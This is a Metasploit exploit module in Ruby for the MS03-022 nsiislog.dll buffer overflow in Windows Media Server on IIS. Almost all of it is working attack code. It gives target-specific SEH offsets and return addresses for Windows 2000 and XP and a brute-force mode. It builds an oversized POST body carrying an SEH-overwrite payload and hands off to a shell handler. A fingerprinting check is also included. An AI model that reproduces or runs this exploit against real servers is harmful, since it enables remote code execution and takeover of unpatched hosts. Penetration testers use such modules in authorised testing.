Microsoft IIS ISAPI nsiislog.dll ISAPI POST Overflow



##

# $Id: ms03_022_nsiislog_post.rb 9929 2010-07-25 21:37:54Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::Remote::BruteTargets
    include Msf::Exploit::Remote::Seh

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Microsoft IIS ISAPI nsiislog.dll ISAPI POST Overflow',
            'Description'    => %q{
                    This exploits a buffer overflow found in the nsiislog.dll
                ISAPI filter that comes with Windows Media Server. This
                module will also work against the 'patched' MS03-019
                version. This vulnerability was addressed by MS03-022.
            },
            'Author'         => [ 'hdm' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 9929 $',
            'References'     =>
                [
                    [ 'CVE', '2003-0349'],
                    [ 'OSVDB', '4535'],
                    [ 'BID', '8035'],
                    [ 'MSB', 'MS03-022'],
                    [ 'URL', 'http://archives.neohapsis.com/archives/vulnwatch/2003-q2/0120.html'],
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'Space'    => 1024,
                    'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
                    'StackAdjustment' => -3500,

                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    # SEH offsets by version (Windows 2000)
                    # 4.1.0.3917 =  9992
                    # 4.1.0.3920 =  9992
                    # 4.1.0.3927 =  9992
                    # 4.1.0.3931 = 14092

                    ['Brute Force',            { }],
                    ['Windows 2000 -MS03-019', { 'Rets' => [  9988, 0x40f01333 ] }],
                    ['Windows 2000 +MS03-019', { 'Rets' => [ 14088, 0x40f01353 ] }],
                    ['Windows XP   -MS03-019', { 'Rets' => [  9992, 0x40f011e0 ] }],
                ],
            'DisclosureDate' => 'Jun 25 2003',
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('URL', [ true,  "The path to nsiislog.dll", "/scripts/nsiislog.dll" ]),
            ], self.class)
    end

    def check
        res = send_request_raw({
            'uri' => datastore['URL']
        }, -1)

        if (res and res.body =~ /NetShow ISAPI/)
            return Exploit::CheckCode::Detected
        end
        return Exploit::CheckCode::Safe
    end

    def exploit_target(target)

        # Create a buffer greater than max SEH offset (16384)
        pst = rand_text_alphanumeric(256) * 64

        # Create SEH frame and insert into buffer
        seh = generate_seh_payload(target['Rets'][1])
        pst[target['Rets'][0], seh.length] = seh

        # Send it to the server
        print_status("Sending request...")
        res = send_request_cgi({
            'uri'          => datastore['URL'],
            'method'       => 'POST',
            'user-agent'   => 'NSPlayer/2.0',
            'content-type' => 'application/x-www-form-urlencoded',
            'data'         => pst
        }, 5)

        select(nil,nil,nil,1)

        handler
        disconnect
    end

end